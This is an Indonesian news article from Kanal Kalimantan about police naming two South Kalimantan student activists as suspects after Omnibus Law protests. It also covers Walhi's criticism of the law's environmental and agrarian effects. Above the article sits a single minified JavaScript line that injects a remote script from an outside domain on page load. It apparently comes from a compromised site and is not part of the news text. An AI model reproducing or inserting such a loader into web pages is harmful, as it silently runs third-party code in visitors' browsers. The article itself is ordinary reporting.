(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Langkah Polda Kalsel menetapkan sejumlah aktivis mahasiswa sebagai tersangka saat demo penolakan UU Omnibus Law, mendapat kritik tajam dari Direktur Eksekutif Walhi Kalsel, Kisworo Dwi Cahyono.
Dua aktivis mahasiswa Kalsel, yakni koordinator BEM se Kalsel Ahdiat Zairullah dan rekannya Renaldi, ditetapkan sebagai tersangka sejak Selasa (27/10/2020) lalu.
Bahkan Kisworo sendiri, juga ikut dipanggil Polda Kalsel dalam kapasitas sebagai saksi dalam aksi penolakan Omnibus Law, bersama Wakil Rektor Universitas Lambung Mangkurat (ULM) Banjarmasin Bidang Kemahasiswaan dan Alumni, Muhammad Fauzi MP, dan Wakil Rektor UIN Antasari Bidang Kerjasama dan Kemahasiswaan, Dr Nida Mufidah.
Rencananya, Cak Kis -panggilan akrab Kisworo- dipanggil sebagai saksi pada Senin (2/11/2020) mendatang.
“Artinya apakah ada indikasi pembungkaman terhadap demokrasi di negara, apalagi aksi di Kalimantan Selatan bisa dicontoh tidak melakukan aksi anarkis,” tegasnya.
Cak Kis mengecam langkah polisi yang menetapkan tersangka dua aktivis mahasiswa Kalsel. “Saya dengan tegas atas nama Walhi Kalsel mengecam atas keputusan aparat, apalagi aksi yang di Kalsel selalu damai dan tidak anarkis,” tegasnya.
Ia mengatakan, Walhi Kalsel akan bersama seluruh elemen dan mahasiwa menolak UU Cipta Kerja yang juga berdampak pada lingkungan secara nyata. Pasal-pasal kontroversial bermunculan terkait UU Omnibus Law Cipta Kerja di bidang lingkungan hidup.
Alih-alih menjamin kelestarian alam, beberapa pasal justru bertolak belakang dengan hal tersebut dengan dalih menggenjot investasi.
Secara garis besar, UU Cipta Kerja menghapus, mengubah, dan menetapkan aturan baru terkait perizinan berusaha yang diatur dalam Undang-Undang Nomor 32 Tahun 2009 tentang perlindungan dan pengelolaan lingkungan hidup.
Pemberian izin lingkungan kini menjadi kewenangan pemerintah pusat. Pemerintah daerah tidak dapat lagi mengeluarkan rekomendasi izin apapun.
Hal ini tercantum dalam Pasal 24 ayat 1 yang menyebutkan analisis mengenai dampak lingkungan atau Amdal menjadi dasar uji kelayakan lingkungan hidup oleh tim dari lembaga uji kelayakan pemerintah pusat.
Keputusan ini akan menjadi syarat penerbitan perizinan berusaha dari pemerintah. Hal ini bertolak belakang dengan aturan sebelumnya.
Dalam UU Nomor 32 Tahun 2009 menyebutkan dokumen Amdal dinilai oleh Komisi Penilai Amdal yang dibentuk menteri, gubernur, atau bupati/wali kota sesuai kewenangan.
Jika tidak ada rekomendasi Amdal, maka izin lingkungan tak akan terbit. Perubahan itu yang mendapat kritik dari sejumlah pegiat lingkungan.
Infografis: kanalkalimantan/andy
UU Cipta Kerja justru menyelesaikan masalah dengan cara keberpihkan kepada investor. Wewenang korporasi saat ini menjadi lebih besar. Dan ini terjadi di tengah masyarakat yang sedang berjuang melawan krisis kesehatan dan ekonomi akibat pandemi Covid-19. Jumlah konflik agraria sulit diredam dari tahun ke tahun.
Fluktuasi kasus ini didasari oleh kondisi agraria nasional yang tidak stabil tanpa adanya ujung penyelesaian.
Dari data Konsorsium Pembaruan Agraria (KPA), terdapat 659 konflik agraria yang terjadi pada 2017. Angka ini merupakan yang tertinggi selama lima tahun terakhir.
Sementara itu, laju perkembangan kasus ini melonjak naik sebesar 78,67% dari 2015 ke 2016, seperti terlihat pada Databoks di bawah ini. Konflik agraria sebagian besar dipicu oleh kebijakan pejabat publik yang berdampak luas pada dimensi sosial, ekonomi, dan politik.
Sektor yang paling banyak menyumbang terjadinya konflik agraria yaitu sektor perkebunan. Pada 2018, 60% dari 144 konflik agraria di sektor perkebunan timbul pada komoditas kelapa sawit.
Hal ini dikarenakan adanya praktek pembangunan dan ekspansi perkebunan di Indonesia yang melanggar hak-hak masyarakat atas tanah.
Manager Kampanye Iklim Eksekutif Nasional Wahana Lingkungan Hidup Indonesia (Walhi), Yuyun Harmono menyesalkan pengesahan aturan yang disebut UU Ciptaker itu. Upaya hukum akan organisasinya tempuh, yaitu melakukan judicial review ke Mahkamah Konstitusi.
Beberapa poin-poin tentang perlindungan lingkungan hidup, menurut dia, harus dihapuskan. Di sisi lain, banyak deregulasi perlindungan ketenagakerjaan dan pemberian akses yang sangat mudah kepada investor. “Banyak hal yang perlu dikoreksi,” ujarnya.
Angan-angan pemerintah untuk mendorong investasi, ternyata tak berkorelasi dengan peningkatan kualitas dan harapan hidup serta lingkungan. “Jadi, enggak nyambung apa yang dicita-citakan dengan realitas yang terjadi,” ujarnya. (kanalkalimantan.com/putra)
Reporter: Putra
Editor: Cell
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
This website uses cookies.